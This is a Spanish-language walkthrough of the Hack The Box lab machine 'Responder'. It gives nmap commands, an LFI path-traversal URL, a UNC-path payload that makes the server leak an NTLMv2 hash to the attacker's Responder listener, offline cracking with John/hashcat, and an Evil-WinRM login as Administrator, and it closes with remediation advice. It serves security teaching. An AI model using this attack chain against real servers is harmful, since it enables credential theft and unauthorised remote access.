Skip to content

Responder ​

SistemaWindows
DificultadMuy fácil
EstadoStarting Point
Puertos80, 5985

La web tiene un LFI. En Windows, si le pido que incluya un archivo de una ruta de red (//mi-ip/algo), el servidor intenta autenticarse contra mi máquina. Responder recoge ese intento con el hash NTLMv2 del usuario, lo rompo con John y entro por WinRM.

  1. FalloLFI en el parámetro page
  2. CredencialesHash NTLM capturado con Responder
  3. AccesoShell con Evil-WinRM

Reconocimiento ​

bash
nmap -p- --min-rate 5000 -oN puertos.txt <IP>
nmap -sCV -p80,5985 <IP>
PuertoServicio
80HTTP (Apache con PHP, sobre XAMPP)
5985WinRM (administración remota de Windows; nmap lo muestra como Microsoft-HTTPAPI/2.0)

Al abrir la IP en el navegador redirige a un dominio, así que lo añado a /etc/hosts y miro la tecnología:

bash
echo "<IP> unika.htb" | sudo tee -a /etc/hosts
whatweb http://unika.htb

El fallo: LFI ​

La web cambia de idioma con una URL del tipo index.php?page=french.html. El parámetro page carga un archivo del servidor. Si no se valida, puedo pedir otros:

http://unika.htb/index.php?page=../../../../../../windows/system32/drivers/etc/hosts

Devuelve el archivo hosts de Windows, así que hay inclusión local de archivos (LFI). Por detrás, PHP mete el valor de page en un include() sin filtrarlo.

Capturar el hash con Responder ​

Responder se hace pasar por un servidor SMB. Cuando Windows intenta abrir una ruta de red, se autentica automáticamente con NTLM y Responder guarda el hash.

Primero miro la IP de mi interfaz de la VPN de HTB (tun0) y arranco Responder en ella:

bash
ip a show tun0
sudo responder -I tun0

Luego uso el LFI para que el servidor "incluya" un archivo en mi máquina:

http://unika.htb/index.php?page=//<MI-IP>/cualquiercosa

La web da error (no encuentra el archivo), pero en Responder aparece un hash NTLMv2 del usuario Administrator.

Romper el hash ​

El NTLMv2 no sirve para hacer Pass-the-Hash, pero se puede crackear offline:

bash
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# alternativa con hashcat: hashcat -m 5600 hash.txt rockyou.txt

La contraseña está en el diccionario.

Acceso con Evil-WinRM ​

El puerto 5985 es WinRM. Con usuario y contraseña, Evil-WinRM da una PowerShell remota:

bash
evil-winrm -i <IP> -u Administrator -p '<contraseña>'

Desde ahí se busca la flag en el escritorio de los usuarios de C:\Users.

Lo que me llevo ​

  • En Windows, un LFI que acepte rutas UNC (//servidor/recurso) sirve para robar hashes aunque no se pueda leer nada útil.
  • Responder escucha y espera: el truco está en conseguir que la víctima se conecte a ti.
  • Ver el puerto 5985 abierto es señal de que unas credenciales pueden convertirse en shell.

Cómo se arregla ​

  • Validar el parámetro con una lista cerrada de archivos permitidos en vez de usar la ruta que manda el usuario.
  • Bloquear el tráfico SMB saliente (445) desde los servidores web.
  • Contraseñas largas que no estén en diccionarios y WinRM accesible solo desde redes de administración.

Técnica relacionada: SMB.

Contenido propio con fines educativos. Sin flags ni material de exámenes.